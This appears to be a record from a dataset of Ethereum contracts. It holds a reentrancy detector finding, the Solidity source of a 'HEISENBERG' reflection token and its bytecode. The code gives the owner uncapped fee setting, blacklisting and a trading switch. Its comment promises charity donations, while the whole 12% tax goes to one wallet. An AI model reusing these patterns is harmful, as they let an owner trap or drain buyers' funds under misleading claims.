6001600160a01b03891660009081526002602052604090205561159781611765565b6115a184836117af565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116148282611492565b82101561163057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361165a5760405162461bcd60e51b81526004016105f891906119f7565b5060006111f18486611d42565b60008060008060008060008060006116848a600c54600d546117d3565b925092509250600061169461146f565b905060008060006116a78e878787611828565b919e509c509a509598509396509194505050505091939550919395565b60006112b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c0565b6000806117138385611c85565b9050838110156112b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f8565b600061176f61146f565b9050600061177d8383611878565b3060009081526002602052604090205490915061179a9082611706565b30600090815260026020526040902055505050565b6006546117bc90836116c4565b6006556007546117cc9082611706565b6007555050565b60008080806117ed60646117e78989611878565b90611492565b9050600061180060646117e78a89611878565b90506000611818826118128b866116c4565b906116c4565b9992985090965090945050505050565b60008080806118378886611878565b905060006118458887611878565b905060006118538888611878565b905060006118658261181286866116c4565b939b939a50919850919650505050505050565b6000826118875750600061067e565b60006118938385611d64565b9050826118a08583611d42565b146112b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f8565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fd5b803561192d8161190d565b919050565b6000602080838503121561194557600080fd5b823567ffffffffffffffff8082111561195d57600080fd5b818501915085601f83011261197157600080fd5b813581811115611983576119836118f7565b8060051b604051601f19603f830116810181811085821117156119a8576119a86118f7565b6040529182528482019250838101850191888311156119c657600080fd5b938501935b828510156119eb576119dc85611922565b845293850193928501926119cb565b98975050505050505050565b600060208083528351808285015260005b81811015611a2457858101830151858201604001528201611a08565b81811115611a36576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5f57600080fd5b8235611a6a8161190d565b946020939093013593505050565b600080600060608486031215611a8d57600080fd5b8335611a988161190d565b92506020840135611aa88161190d565b929592945050506040919091013590565b600060208284031215611acb57600080fd5b81356112b18161190d565b8035801515811461192d57600080fd5b600060208284031215611af857600080fd5b6112b182611ad6565b600060208284031215611b1357600080fd5b5035919050565b60008060008060808587031215611b3057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6157600080fd5b833567ffffffffffffffff80821115611b7957600080fd5b818601915086601f830112611b8d57600080fd5b813581811115611b9c57600080fd5b8760208260051b8501011115611bb157600080fd5b602092830195509350611bc79186019050611ad6565b90509250925092565b60008060408385031215611be357600080fd5b8235611bee8161190d565b91506020830135611bfe8161190d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7e57611c7e611c54565b5060010190565b60008219821115611c9857611c98611c54565b500190565b600082821015611caf57611caf611c54565b500390565b600060208284031215611cc657600080fd5b81516112b18161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d215784516001600160a01b031683529383019391830191600101611cfc565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7e57611d7e611c54565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220394cdf28a46903f3b10b5c8c42b0f96934b8ebab32d5d6dfcfda2060122ef29164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,906 |
0xe49cbc65ec952483a4c7f7c55c4fc3041f7fd8d8
|
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
Heisenberg... ---
Help drug addicts recover;
5% of taxes will be used to donate to certain associations;
Tokenomics:
- 10 million total supply
- 1% Reflections
- 6% Marketing Tax
- 5% donations
TG at 50k
Twitter at 100k
First donation at 100k
Website at 150k
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HEISENBERG is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "HEISENBERG";//////////////////////////
string private constant _symbol = "HEISENBERG";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x284a192bb792e81E3fb3e2986a7796A4B9FB37Bf);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x284a192bb792e81E3fb3e2986a7796A4B9FB37Bf);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000 * 10**9; //3%
uint256 public _maxWalletSize = 300000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104ec578063dd62ed3e1461050c578063ea1644d514610552578063f2fde38b1461057257600080fd5b8063a2a957bb14610467578063a9059cbb14610487578063bfd79284146104a7578063c3c8cd80146104d757600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b41146101f357806398a5c3151461044757600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b610592565b005b3480156101ff57600080fd5b50604080518082018252600a81526948454953454e4245524760b01b6020820152905161022c9190611be0565b60405180910390f35b34801561024157600080fd5b50610255610250366004611a0c565b61063f565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b50662386f26fc100005b60405190815260200161022c565b3480156102cd57600080fd5b506102556102dc3660046119cc565b610656565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022c565b34801561031f57600080fd5b50601554610285906001600160a01b031681565b34801561033f57600080fd5b506101f161034e36600461195c565b6106bf565b34801561035f57600080fd5b506101f161036e366004611b7d565b61070a565b34801561037f57600080fd5b506101f1610752565b34801561039457600080fd5b506102b36103a336600461195c565b61079d565b3480156103b457600080fd5b506101f16107bf565b3480156103c957600080fd5b506101f16103d8366004611b97565b610833565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610285565b34801561041d57600080fd5b506101f161042c366004611b7d565b610862565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b506101f1610462366004611b97565b6108aa565b34801561047357600080fd5b506101f1610482366004611baf565b6108d9565b34801561049357600080fd5b506102556104a2366004611a0c565b610917565b3480156104b357600080fd5b506102556104c236600461195c565b60106020526000908152604090205460ff1681565b3480156104e357600080fd5b506101f1610924565b3480156104f857600080fd5b506101f1610507366004611a37565b610978565b34801561051857600080fd5b506102b3610527366004611994565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055e57600080fd5b506101f161056d366004611b97565b610a27565b34801561057e57600080fd5b506101f161058d36600461195c565b610a56565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016105bc90611c33565b60405180910390fd5b60005b815181101561063b576001601060008484815181106105f757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063381611d46565b9150506105c8565b5050565b600061064c338484610b40565b5060015b92915050565b6000610663848484610c64565b6106b584336106b085604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a0565b610b40565b5060019392505050565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016105bc90611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107345760405162461bcd60e51b81526004016105bc90611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078757506013546001600160a01b0316336001600160a01b0316145b61079057600080fd5b4761079a816111da565b50565b6001600160a01b0381166000908152600260205260408120546106509061125f565b6000546001600160a01b031633146107e95760405162461bcd60e51b81526004016105bc90611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016105bc90611c33565b601655565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105bc90611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016105bc90611c33565b601855565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105bc90611c33565b600893909355600a91909155600955600b55565b600061064c338484610c64565b6012546001600160a01b0316336001600160a01b0316148061095957506013546001600160a01b0316336001600160a01b0316145b61096257600080fd5b600061096d3061079d565b905061079a816112e3565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016105bc90611c33565b60005b82811015610a215781600560008686858181106109d257634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e7919061195c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1981611d46565b9150506109a5565b50505050565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016105bc90611c33565b601755565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016105bc90611c33565b6001600160a01b038116610ae55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610d8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000546001600160a01b03848116911614801590610db857506000546001600160a01b03838116911614155b1561109957601554600160a01b900460ff16610e51576000546001600160a01b03848116911614610e515760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bc565b601654811115610ea35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bc565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee557506001600160a01b03821660009081526010602052604090205460ff16155b610f3d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bc565b6015546001600160a01b03838116911614610fc25760175481610f5f8461079d565b610f699190611cd8565b10610fc25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bc565b6000610fcd3061079d565b601854601654919250821015908210610fe65760165491505b808015610ffd5750601554600160a81b900460ff16155b801561101757506015546001600160a01b03868116911614155b801561102c5750601554600160b01b900460ff165b801561105157506001600160a01b03851660009081526005602052604090205460ff16155b801561107657506001600160a01b03841660009081526005602052604090205460ff16155b1561109657611084826112e3565b47801561109457611094476111da565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110db57506001600160a01b03831660009081526005602052604090205460ff165b8061110d57506015546001600160a01b0385811691161480159061110d57506015546001600160a01b03848116911614155b1561111a57506000611194565b6015546001600160a01b03858116911614801561114557506014546001600160a01b03848116911614155b1561115757600854600c55600954600d555b6015546001600160a01b03848116911614801561118257506014546001600160a01b03858116911614155b1561119457600a54600c55600b54600d555b610a2184848484611488565b600081848411156111c45760405162461bcd60e51b81526004016105bc9190611be0565b5060006111d18486611d2f565b95945050505050565b6012546001600160a01b03166108fc6111f48360026114b6565b6040518115909202916000818181858888f1935050505015801561121c573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112378360026114b6565b6040518115909202916000818181858888f1935050505015801561063b573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b60006112d06114f8565b90506112dc83826114b6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611978565b816001815181106113e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140c9130911684610b40565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611445908590600090869030904290600401611c68565b600060405180830381600087803b15801561145f57600080fd5b505af1158015611473573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114955761149561151b565b6114a0848484611549565b80610a2157610a21600e54600c55600f54600d55565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611640565b600080600061150561166e565b909250905061151482826114b6565b9250505090565b600c5415801561152b5750600d54155b1561153257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155b876116ac565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158d9087611709565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bc908661174b565b6001600160a01b0389166000908152600260205260409020556115de816117aa565b6115e884836117f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162d91815260200190565b60405180910390a3505050505050505050565b600081836116615760405162461bcd60e51b81526004016105bc9190611be0565b5060006111d18486611cf0565b6006546000908190662386f26fc1000061168882826114b6565b8210156116a357505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c98a600c54600d54611818565b92509250925060006116d96114f8565b905060008060006116ec8e87878761186d565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a0565b6000806117588385611cd8565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b60006117b46114f8565b905060006117c283836118bd565b306000908152600260205260409020549091506117df908261174b565b30600090815260026020526040902055505050565b6006546118019083611709565b600655600754611811908261174b565b6007555050565b6000808080611832606461182c89896118bd565b906114b6565b90506000611845606461182c8a896118bd565b9050600061185d826118578b86611709565b90611709565b9992985090965090945050505050565b600080808061187c88866118bd565b9050600061188a88876118bd565b9050600061189888886118bd565b905060006118aa826118578686611709565b939b939a50919850919650505050505050565b6000826118cc57506000610650565b60006118d88385611d10565b9050826118e58583611cf0565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b803561194781611d8d565b919050565b8035801515811461194757600080fd5b60006020828403121561196d578081fd5b81356112dc81611d8d565b600060208284031215611989578081fd5b81516112dc81611d8d565b600080604083850312156119a6578081fd5b82356119b181611d8d565b915060208301356119c181611d8d565b809150509250929050565b6000806000606084860312156119e0578081fd5b83356119eb81611d8d565b925060208401356119fb81611d8d565b929592945050506040919091013590565b60008060408385031215611a1e578182fd5b8235611a2981611d8d565b946020939093013593505050565b600080600060408486031215611a4b578283fd5b833567ffffffffffffffff80821115611a62578485fd5b818601915086601f830112611a75578485fd5b813581811115611a83578586fd5b8760208260051b8501011115611a97578586fd5b602092830195509350611aad918601905061194c565b90509250925092565b60006020808385031215611ac8578182fd5b823567ffffffffffffffff80821115611adf578384fd5b818501915085601f830112611af2578384fd5b813581811115611b0457611b04611d77565b8060051b604051601f19603f83011681018181108582111715611b2957611b29611d77565b604052828152858101935084860182860187018a1015611b47578788fd5b8795505b83861015611b7057611b5c8161193c565b855260019590950194938601938601611b4b565b5098975050505050505050565b600060208284031215611b8e578081fd5b6112dc8261194c565b600060208284031215611ba8578081fd5b5035919050565b60008060008060808587031215611bc4578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0c57858101830151858201604001528201611bf0565b81811115611c1d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e